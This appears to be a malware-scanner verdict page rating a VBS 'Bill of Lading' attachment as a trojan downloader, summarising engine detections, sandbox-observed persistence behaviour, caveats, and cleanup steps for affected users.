Verdict Malicious
Is &Bill of Lading (BL). vbs safe? No, we rate this exact file malicious.
Five major antivirus engines flag the script as a downloader with labels including ISB.Downloader!gen40 and HEUR:Trojan-Downloader.Script.Generic.

Strong evidence · Two or more major antivirus engines agree.
If you already ran it, follow the steps below.
What to do now4 steps
This file is harmful. Don't run it, and remove it.
If you haven't run it
Don't run this file. Delete it, then empty the Recycle Bin.
If you already ran it
Disconnect the device from the internet, then run a full antivirus scan. Microsoft Defender Offline (Windows Security > Virus & threat protection > Scan options) also finds malware that hides while Windows runs.
If you typed passwords on the device after running it, change them from another device you trust.
If the scan keeps finding it, or the device still acts strangely, scan again with a second-opinion scanner from another company; if that doesn't fix it, back up your personal files and reinstall Windows.
If you already ran it, do these in order.
If you opened or installed it
Avoid banking and sign-ins on that device until it is clean. These free MalwareTips guides walk you through it.

Chapter 02
Why we think so
4 points against it and 3 in its favour, checked against the scan evidence.
The reasoning behind this verdict
The combination of offensive MITRE techniques and major detections outweighs the lack of external-intel hits.
The file is a 4.6 KB obfuscated VBA script submitted for the first time today. Five major antivirus engines plus Kaspersky label it a generic downloader or dropper. Sandbox execution revealed eight offensive MITRE techniques, direct contact with six raw IPs, and attempts to create persistence via ManageEngine services. No code signing, no prior similar-hash matches, and a rare and prevalence classification further support malicious intent. While external YARA and file it created checks returned clean, the major consensus and concrete behavioural red flags dominate the evidence.
What We Detected
Five major antivirus engines (Avast, AVG, Avira, F-Secure, Symantec) and Kaspersky returned malicious verdicts on the VBA script. Labels reference generic dropper and downloader families (SNH-gen, ISB.Downloader!gen40). The script carries tags for obfuscation, anti-analysis, and download activity.
Threat Behavior
Several URLs point to bgedea.cc for payload retrieval. No DNS resolution was observed, a common malware evasion tactic.
What To Do Now
Quarantine or delete the file immediately. Block the observed IPs and domains at the network perimeter. Scan the host for additional dropped files and persistence mechanisms. Review any ManageEngine UEMS processes that may have been abused for persistence.
Where this verdict could be wrong3 caveats
- No community YARA rule matched and MalwareBazaar.hit=false — no researcher-curated rules or known family match on this exact hash.
- droppedChildren.hasMaliciousChild=false and contactedHosts.maliciousHosts.length=0 — no confirmed malicious files it created or previously-seen malicious hosts in our cache.
- engines.reporting=61 out of 74 total but only 9 malicious; 52 undetected engines leave room for possible over-flagging on an obfuscated script.
These are the assessment's weak points. If you believe one applies to your file, report the verdict and we'll re-review it.
- No malicious files it created detected
- No prior similar-hash matches in our database
- No YARAify or CIRCL external-intel hits
- Major antivirus engine consensus on downloader activity
- Direct-IP a control server bypassing DNS reputation systems
- Persistence indicators for ManageEngine services
- Rare_new file with no signing or prior reputation

What the test run showed
What the file did on a test computer
Confirmed in the test run
Moderate concern: Created a scheduled task so it runs again later.
Moderate concern: Created a Windows service so it keeps running.
Moderate concern: Set itself to start automatically after a restart.
Moderate concern: Contains packed or scrambled code that is harder to inspect (common in installers too).
Moderate concern: Ran commands or a script on the test computer.
Moderate concern: Checked whether it was running on a test computer.
Moderate concern: Hid files or windows on the test computer.
Sandbox labels we could not confirm (common in safe files too)
Not confirmed: A sandbox rule tagged this run as code injection, but no injected program was recorded.
Not confirmed: Showed activity a sandbox rule links to file encryption; no ransomware behaviour was confirmed.
Not confirmed: A sandbox rule tagged this run as weakening security settings; no setting change was recorded.
This file was run on a test computer (a sandbox), not on yours. Labels we could not confirm are listed so you can see them, but they are not treated as evidence against the file.
Threat context
How downloaders work
This file is a delivery vehicle. On its own it can look small and harmless, but its job is to fetch and install the real payload, often a password stealer, ransomware or a bot, from a server the attacker controls.
Bottom line:Because the dangerous part arrives later, early scans can look cleaner than the threat really is.

Signatures and behavior heuristics
Behavioral heuristics matched patterns associated with malware. Corroborating evidence determines how much weight they carry.
The sandbox recorded persistence through a service or scheduled task. Installers set these up legitimately for their own updaters and services, so this is context, not proof of malicious intent.
EvidenceManageEngine UEMS - Agent · ManageEngine UEMS - Remote ControlVirusTotal's sandbox summary maps this run to MITRE T1055 (Process Injection), but no injected process of the sample's own was recorded (the analysis VM's own WMI adapter, crash handlers and Chrome updater are not counted). VirusTotal maps T1055 on about half of all files no engine flags, so the mapping alone is not evidence of injection.
